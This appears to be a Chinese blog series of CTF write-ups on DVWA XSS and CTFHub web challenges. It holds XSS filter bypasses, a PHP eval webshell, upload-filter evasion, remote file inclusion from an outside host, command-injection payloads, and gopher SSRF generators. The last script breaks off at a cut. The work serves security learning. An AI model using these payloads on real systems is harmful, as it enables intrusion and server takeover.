if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
这里没有对输入$_GET['name']
做任何限制,我们完全可以在这个变量里写一个script标签。
<?php
// Medium 难度
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
这里把输入里的<script>
替换为了空字符。但是这里是大小写敏感的,我们完全可以大写绕过。
<Script>alert("medium")</script>
或者双拼绕过。
<scri<script>pt>alert("medium")</script>
<?php
// High 难度
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
最高难度用了正则匹配,并且大小写不敏感。上面两种方法都失效了。
但是它只过滤了script
标签这种xss,还可以利用img标签报错来实现弹窗。
<img src=0 onerror=alert("high")>
然后我便开始做ctfhub的题目了。我试了一下,发现它没有任何验证,可以直接xss。
但是我不知道flag会藏在哪里,xss的作用只是操控js,会不会藏在cookie里呢?
很不幸,没有flag。我陷入了人生和社会的大思考。
最终没法,看了writeup。发现需要利用到第二个输入框。
第二个输入框点击send之后就会显示successfully
,但是这个它发送到哪里无法确定,这个网页用到Bootstrap,我不太熟悉。这可以肯定的是它有一个后端。
然后可以利用xss platform来进行获得它与后端的信息。
在xss platform里新建一个项目然后复制其中的实例代码。
把payload在第一个输入框提交,然后复制url到第二个输入框提交后,就会在xss platform里得到相应。
下面进行战术总结
我们一开始直接用xss来看cookie,发现没有flag。我一开始觉得奇怪,觉得flag就应该藏到这个地方,不然还能藏哪呢?
我这里犯了一个原则性的错误。我们用xss一般的用途是什么?是获取cookie嘛?
是获取cookie,但更准确的说,是获取别人的cookie。
cookie相当于每个人的登录凭证,如果得到了别人的cookie,我们将可以不用输账号密码,直接登录。
所以flag一定是不可能藏在自己的cookie里的,自己的cookie没有意义,自己的cookie能直接浏览器控制台里知道,也不需要xss。ctf的题目应该是让我们获得别人的cookie,但是这是ctf的题目,不是公共的服务,没有其他用户,所以ctf模拟了一个机器人。
那就很清楚了,我们的目标就是获得这个机器人的Cookie,然后"盗它的号",所以获取了这个机器人的Cookie就意味着成功。所以理所应当的,flag也就藏在cookie里了。
所以第二个文本框就是模拟别人点击这个包含xss的链接的情形。
最简单的文件上传,传个php一句话木马即可。
<?php @eval($_POST['wuuconix']); ?>
之后用蚁剑连接就可以得到flag啦!
网页源码
<body>
<h1>CTFHub 文件上传 - js前端验证</h1>
<form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
<script>
function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
alert("请添加上传文件");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
alert("该文件不允许上传");
return false;
}
}
}
</script>
</body>
发现它在上传文件时调用了一个函数,这个函数只允许上传三种图片格式的文件。
这但是在前端验证,我们用burp抓包,先给它传一个2.jpg
,先过前端验证,然后前端向后端请求的包会被burp抓到,这时候在请求包里包把文件名改成2.php
就实现绕过前端验证并传马啦!
下面是原始请求包[节选]
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="file"; filename="2.jpg"
Content-Type: image/jpeg
<?php @eval($_POST['wuuconix']); ?>
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="submit"
Submit
-----------------------------27707769729801775931606292902--
我们只要把文件名改成以下即可。
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: image/jpeg
<?php @eval($_POST['wuuconix']); ?>
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="submit"
Submit
-----------------------------27707769729801775931606292902--
成功上传并连接。
这也证明了一个事情,就是请求包里的Content-Type
不改也行,只要后缀名是php
,就能发挥它的职能,这个Content-Type应该只是传输过程中给服务器端的提示罢了,如果服务器端没有对该属性进行处理,那么它就是无效的。如果后台对这个Content-Type做了某种验证的话,我们就必须也得改了。
这是一种做法,既然验证代码在前端 ,可不可以直接把script标签删掉来绕过前端验证呢?
我试了一下,直接在源代码里把script
标签删掉是掩耳盗铃,不能实现效果。但是如果利用Burp修改题目的Response,在相应里直接把script
标签删掉就能够实现。
一般情况下Burp只是代理我们的请求,我还没有试过代理相应。
设置如下图。
然后刷新一下页面,Forward一下,让自己的请求先发出去,然后你就会看到服务器的相应了。
在这个相应里把script标签删掉。
这时渲染出来的页面就是真真切切没有script标签的了。
能够直接上传php木马了。
题目在注释中给出了后端php的代码
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$ext = pathinfo($name)['extension'];
$blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
if (!in_array($ext, $blacklist)) {
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
echo "<script>alert('上传成功')</script>";
echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "<script>alert('文件类型不匹配')</script>";
}
}
在后端把一些常见的木马后缀全部ban掉了,而且因为是后端验证,前端怎么改也没用。
这里就需要用到.htaccess
,它是apcache中的配置文件。我们可以利用它实现把.jpg
格式的文件拥有php脚本的能力。
一般有两种写法。
AddType application/x-httpd-php .jpg
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>
所以只要先长传一个后缀在黑名单之外的.htaccess
文件,让.jpg
拥有也可以变为php脚本 ,再上传一个内部写有一句话木马的1.jpg
,就能够挂马了。
MIME是什么呢?上一篇.htaccess
中出现的application/x-httpd-php
其实就属于MIME的一种未被官方承认的类型。
MIME:Multipurpose Internet Mail Extensions 中文专业名称为多用途互联网邮件扩展。
原来的邮件只支持7位ASCII字符集以内的字符,而MIME的提出则支持了其他的字符,甚至支持了图像、视频、音频等二进制文件。
我们在http请求报文中看到的Content-Type
字段就是用来提供发送文件的MIME类型的。以下列出常用的MIME类型。
此外,尚未被接受为正式数据类型的subtype,可以使用x-开始的独立名称(例如application/x-gzip)。vnd-开始的固有名称也可以使用(例:application/vnd.ms-excel)
在这道题里就是对文件的Content-Type类型做了限制,而没有对后缀名做任何限制。题目php源代码如下。
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
if (!file_exists(UPLOAD_PATH)) {
mkdir(UPLOAD_PATH, 0755);
}
if (!empty($_POST['submit'])) {
if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/png", "image/gif", "image/jpg"])) {
echo "<script>alert('文件类型不正确')</script>";
} else {
$name = basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
echo "<script>alert('上传成功')</script>";
echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert('上传失败')</script>";
}
}
}
?>
所以我们只需要传一个1.php
,然后发送的时候用burp把Content-Type改成其中一个就行啦!
听题目就可以看出来后台对文件的文件头做了检测。只支持图片。
我做题的姿势非常骚气。
首先利用python的pillow
模块生成了一个1*1像素的png文件。
from PIL import Image
img = Image.new("RGB", (1,1), "png")
with open ("red.png", "wb") as f:
img.save(f)
然后上传,顺便用Burp拦截。
这是原始请求头。
图中乱码的部分应该就是二进制图片的内容。这时我们我们先把文件名改成red.php
,再在图片二进制内容的后面加上一句话木马。
然后就能直接蚁剑连接了。顺便把它的源码偷过来以后用2333。
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
if (!file_exists(UPLOAD_PATH)) {
mkdir(UPLOAD_PATH, 0755);
}
if (!empty($_POST['submit'])) {
if (!$_FILES['file']['size']) {
echo "<script>alert('请添加上传文件')</script>";
} else {
$file = fopen($_FILES['file']['tmp_name'], "rb");
$bin = fread($file, 4);
fclose($file);
if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/jpg", "image/png", "image/gif"])) {
echo "<script>alert('文件类型不正确, 只允许上传 jpeg jpg png gif 类型的文件')</script>";
} else if (!in_array(bin2hex($bin), ["89504E47", "FFD8FFE0", "47494638"])) {
echo "<script>alert('文件错误')</script>";
} else {
$name = basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
echo "<script>alert('上传成功')</script>";
echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert('上传失败')</script>";
}
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CTFHub 文件上传 - 文件头检测</title>
</head>
<body>
<h1>CTFHub 文件上传 - 文件头检测</h1>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</form>
</body>
</html>
00截断真的十分玄学。
首先我们来看一下这道题的源码。注:服务器的php版本为5.2.17, magic_quotes_gpc为off状态。
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
if (!file_exists(UPLOAD_PATH)) {
mkdir(UPLOAD_PATH, 0755);
}
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CTFHub 文件上传 - 00截断</title>
</head>
<body>
<h1>CTFHub 文件上传 - 00截断</h1>
<form action=<?php echo "?road=" . UPLOAD_PATH; ?> method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
它首先对上传的文件的后缀进行检测,只能是三个图片文件格式。
此外对文件进行存储的时候对文件名进行重命名,在保留原后缀名的情况下把文件名淦成随机的,首先在10-99
里选一个数,再加上上传时间,这个上传时间还精确到毫秒2333,十分变态。上传了一个文件你甚至都不知道它的路径,十分绝望。
存储的路径是这样组成的des = _GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." .
这里我们可以利用远古php版本有的一个00截断,手动把这个road参数改成
/var/www/html/upload/1.php%00.jpg
改动这个road参数不会对文件上传这个过程产生影响。
服务器那边接受到的文件还是为1.php%00.jpg
,服务器一检查后缀,哦,是.jpg,在白名单内,接下去进行存储。
按理说存储的路径应该是upload/1.php%00.jpg/5020210902203850.jpg
。
但是%00之后的所有东西都被截断了,那些随机数和时间全部失效,最终存储的文件就变成了upload/1.php
这个00截取和我一开始想象的不一样。我以为在上传过程中会直接%00后面字符全部丢掉,服务接收到的只是%00之前的内容。
但是其实不是,服务器会原样的接收该文件,只是在某些操作下,%00后面的字符会失效,但这些操作都有哪些,还不得而知。
试了好多php镜像,都无法复现。以后再说吧。
这道题就比00截断简单多了,我们先看一下题目给我们的提示。
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
显然,它对我们上传的文件名中的特定字符进行了替换,但是这种替换实际上是不安全的,双拼即可绕过。例子如下。
所以我们只要上传一个1.pphphp
。经过它的处理后就变成了1.php
。
然后蚁剑连接即可。
顺便把它的源码偷下来以后用2333。
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
if (!file_exists(UPLOAD_PATH)) {
mkdir(UPLOAD_PATH, 0755);
}
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
echo "<script>alert('上传成功')</script>";
echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert('上传失败')</script>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CTFHub 文件上传——双写绕过</title>
</head>
<body>
<h1>CTFHub 文件上传——双写绕过</h1>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
<p></p>
</body>
</html>
<!--
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
-->
题目如下
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
我看了一眼,这不就是php一句话木马嘛2333。直接蚁剑连接了,很快得到了flag。
然后我局的的还是得手动输入命令来得到flag。我是这样试的。
/index.php?cmd=ls
但是页面一片空白2333。
后来我才意识到,php中的eval
函数是用来执行php里的函数的,相当于把一个字符串运行。但是这个ls可不是php里的函数,需要利用system
函数来调用linux系统命令。
/index.php?cmd=system("ls")
结果还是不行。我再次陷入了人生和社会的大思考。
看了官方wp之后才知道eval里面的字符串需要满足一个完整的php语句的要求。即;
结尾。
忘记分号这件事实际上一直在发生,在php交互式终端如果你不输分号的话是不会有任何结果的。
只有输入分号,作为一条完整的php语句的时候才有结果。
同理eval里面的语句也必须要有分号。你不输分号它甚至会报错2333。
接下来就简单啦。
这道题也十分简单。主要的考点是include
。在php中利用该函数可以将其他文件引入当前php文件。
我之前以为引入的文件只能是php文件,现在看来根本没有这种限制,只要你被引入的文件里有php语句就能正常发挥作用,具体的文件后缀是没有影响的。
比如下面的例子 ,我引入了一个test.txt
也能够正常的发挥作用。
那我们再来看看这道题。
它提供了一个木马txt文件,同时还提供了file参数来引入文件,很显然我们只要这样就能样index.php
变成一句话木马。
index.php?file=shell.txt
我本来以为蚁剑这样是连不上的,结果强大的蚁剑迅速理解了意思,成功连接。
那如何手动get flag呢?只需要继续添加ctfhub参数即可。
index.php?file=shell.txt&ctfhub=system("cat /flag");
直接在浏览器输入以上payload即可,至于那个空格 浏览器会自动进行url编码,成为%20
。
偷源码233
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
题目提示
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
题目题目我们给file变量传一个php://input
。
php://input
生效的条件为:
在php.ini中的
allow_url_fopen
和allow_url_include
全部开启。
这个php://input
支持post方式传输的数据流的输入。我们可以用post方式传值。
因为源代码把我们输入的代码include
的了,相当于我们写的php代码将直接在题目中发挥作用。
我么这里直接写一个
<?php system("ls /"); ?>
来看一看根目录下的文件们。
很顺利的找到了flag。cat即可。
再把源码偷下来233。
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
php 的include在以下条件下可以引入一个url文件。
在php.ini中的
allow_url_fopen
和allow_url_include
全部开启。
观察题目给出的phpinfo
符合条件。
于是我在我的阿**服务器上开了一个服务。
然后把这个url include就可以了。
http://challenge-085d74ac724ca4c9.sandbox.ctfhub.com:10800/?file=https://emu.wuuconix.link/shell.txt
然后就可以连接蚁剑啦!
同时我们可以发现url include一个文件和php://input
生效的条件是一模一样的。所以在没有手动限制的情况下, 这其中一个可用,就说明另一个也可用。所以我们在这道题里同样可以使用上一道题php://input
的做法。
生效条件一样也非常好理解。php://input
能够支持用户post传的值,这对于服务器本身而言,就是外界url的文本嘛2333,相当于引入了一个url文件。故两者生效条件一致。
题目源代码
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>
页面提示flag在/flag
里。
php://input
失效了。
作者应该是在php.ini
中关掉了allow_url_fopen
和allow_url_include
中的一个获得都关了233。
php://input
从本质上讲是从外界url中获取文本,所以需要这两个开关保持开启。
但是php://filter
作用的对象是本地【一般我们用来都index.php嘛2333】,不需要开启这两个就可以生效。
遂用php://filter/read=convert.base64-encode/resource=
来直接读取flag的内容。
http://challenge-07841d369bc23ed5.sandbox.ctfhub.com:10800/index.php?file=php://filter/read=convert.base64-encode/resource=../../../../../../../flag
得到
解码后得到flag。
题目源码
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
很常见的命令联合执行的题。
源代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
在文本框中输入完ip之后利用分号分割再加入其他命令,最后的$cmd
就会长成这样
ping -c 4 127.0.0.1;ls
然后调用exec
进行执行系统函数的时候就会把两句命令一起执行了。
cat那个命令后没有出来flag,在源代码中。
至于为什么不能直接在网页中看到大概是因为<?php
这种标签在html中的特定作用。
看了wp,了解到了可以这样,把文本进行一层base64加密,这样就能直接在网页里出来了。当然之后还需要手动解密。
127.0.0.0; cat flag | base64
部分源码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
这里注意一下php中的preg_match_all
函数。它是用来匹配正则表达式的,并且将字符串中所有匹配的符合结果存在一个列表中。例子如下。
然后我们发现题目中过滤了cat。首先我们看看flag在哪。ls一下就出来了。
很久以前我看到的一个命令,就是tac
。很显然这个命令就是cat
反过来的单词。它的实际效果也和它的名字一致。貌似就是把文本的最后一行先打印,从下往上打印。效果如下。
所以这里我们直接用tac来读flag就行啦2333。
部分源码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
以下是绕过空格的部分方法。
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
在bash情况下都能实现,但是zsh下只有<
和<>
成功了。
估计在bash情况下{IFS}和IFS
部分源码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
flag在一个目录下边。但是过滤了/
,那怎么办呢?先cd进去不就行了2333
payload
1; cd flag_is_here && cat flag_14385852030406.php
部分源代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
它过滤了&
和|
,但是我命令连接符号一直用的;
呀2333。
1;cat flag_15157229854259.php
这个综合练习就非常狠了啊,过滤了一堆。
部分源代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
但是大部分题目都知道了如何绕过,但是这个所有命令连接符& | ;
全部被过滤的情况我还是第一次见。
查询资料过后发现可以用换行符来绕过。(但是直接在Linux上貌似不能这样用,应该是php奇怪的特性
官方的wp说的是
但其实这几个url编码其实就是\n
\r
和\n\r
。
以下为payload脚本
import requests
from urllib import parse
from bs4 import BeautifulSoup
id = parse.quote("1\ncd${IFS}fla*\ntac${IFS}f*")
burp0_url = f"http://challenge-b57b1d23d9161cc7.sandbox.ctfhub.com:10800/?ip={id}"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://challenge-b57b1d23d9161cc7.sandbox.ctfhub.com:10800/", "Upgrade-Insecure-Requests": "1"}
respoonse = requests.get(burp0_url, headers=burp0_headers).text
soup = BeautifulSoup(respoonse, 'html.parser')
print(soup.pre)
哦对了,它还过滤了flag
。可以用cd fla*
来进入目录和用tac f*
来读flag。
这里还用到了BeautifulSoup
这个库来方便得观察response。
响应中有一堆无关信息,有用得信息在<pre>
标签中。
我们可以用soup.pre
来将pre标签从响应中拿出来观察。十分方便。
提示内网的flag.php。url中有url参数。填入即可。
看了一下别人的wp。发现更好的填法应该是?url=http://127.0.0.1/flag.php
。
直接上http协议的话没有看到flag。估计flag藏在php的注释中,无法直接看到。
可以用file协议来读文件。
http://challenge-b5191e365b757889.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
这道题提示flag在8000-9000端口中。
一开始用Burp直接爆破 端口。但是貌似由于请求速度过快,导致一些页面返回503,从而无法得到正确答案,但是我也不知道这个怎么设置2333。我的这个Burp版本和网上的也不太一样 。
然后我就用python写脚本试端口。一开始用的代码时burp上直接转化出来的,它有一个特点就是get没有params
值,最后也没有正确得到结果。
最后还是自己改一下吧2333,加上了params
参数。不能太迷信工具。
import requests
for port in range(8000, 9000):
burp0_url = f"http://challenge-85119fa5ff180354.sandbox.ctfhub.com:10800/"
param = {"url": f"http://127.0.0.1:{port}"}
response = requests.get(burp0_url, params=param).text
if(response == ""):
print(f"port: {port} failed!")
else:
print(f"port: {port} success!")
print(response)
break
最后在8162端口找到了flag。
dirsearch扫描后发现flag.php
和index.php
。
它还是提供了url参数来供我们访问内网文件。我们可以分别利用http协议和file协议来查看文件。
# view-source:http://challenge-97df9c16e9c64c56.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
# view-source:http://challenge-97df9c16e9c64c56.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
我们仔细观察flag.php
文件的内容即可发现,只要伪造来自内网的请求,然后post一个提供的key260a97ac2ef360dec36238c7d6c49c25
即可得到flag。
但是这种伪造可不好实现。php中的$_SERVER["REMOTE_ADDR"]
,它会返回当前浏览页面的用户的ip地址。
这并不是简单的修改HTTP报文能够实现的。查看过wp之后,我了解到了gopher协议。
gopher协议(攻击内网服务的万金油):gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
相当于我们得利用这个gopher协议来让题目的机器给flag.php
发送一个post请求包。这里就把ctfhub这个专题的名字SSRF(Server-Side Request Forgery) 服务器端请求伪造
演示的淋漓尽致了。我们将利用gopher协议模拟服务器向flag.php的请求。
查询过资料后gopher协议中的post请求需要包含几个必要的字段HOST
,Content-Length
,Content-Type
。
同时需要经过两层url加密,为什么呢?因为一开始gopher协议给url参数传的时候浏览器会进行第一次url解码。传给php了,php那里的curl_exec相当于还是一次类浏览器操作,会进行第二次url解码。
此外还要注意第一次url编码后需要将%0A
全部换为%0D0A
。其实就是把换行符\n
换为\r\n
。
Linux里的换行比较简约,一个\n
即可。而Window的换行比较阔绰,多一个字符\r\n
。
这里需要换,估计是内网的机器是windows的?挺奇怪的。一般出题都是docker部署,应该都是Linux的呀2333。
from urllib.parse import quote
payload = \
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=260a97ac2ef360dec36238c7d6c49c25
"""
payload = quote(payload)
payload = payload.replace("%0A", "%0D%0A")
payload = f"gopher://127.0.0.1:80/_{quote(payload)}"
print(payload)
gopher://127.0.0.1:80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D260a97ac2ef360dec36238c7d6c49c25%250D%250A
我们把这一段payload加到url那里就可以得到flag啦!
gopher那里一开始Host我写的是127.0.0.1
貌似不行,必须得指定端口。
# view-source:http://challenge-608a043246aa77d5.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
# view-source:http://challenge-608a043246aa77d5.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
查看过它的flag.php之后我们只要模拟服务器向flag.php发送一个文件即可获得flag。同样的,我们利用攻击内网服务万金油gopher协议来实现。
原题的上传压根就没有上传按钮,都没法抓包2333。于是我加了一个submit
类型的input然后先把服务放在自己的机器上,进行抓包。
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="upload">
</form>
然后删除不必要的字段,保留Host
,Content-Length
,Content-Type
以及第一行的POST请求,注意对Host进行修改,修改成内网。得到以下POC。
from urllib.parse import quote
payload = \
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: multipart/form-data; boundary=---------------------------73242662227339777571999664765
Content-Length: 221
-----------------------------73242662227339777571999664765
Content-Disposition: form-data; name="file"; filename="upload.txt"
Content-Type: text/plain
1
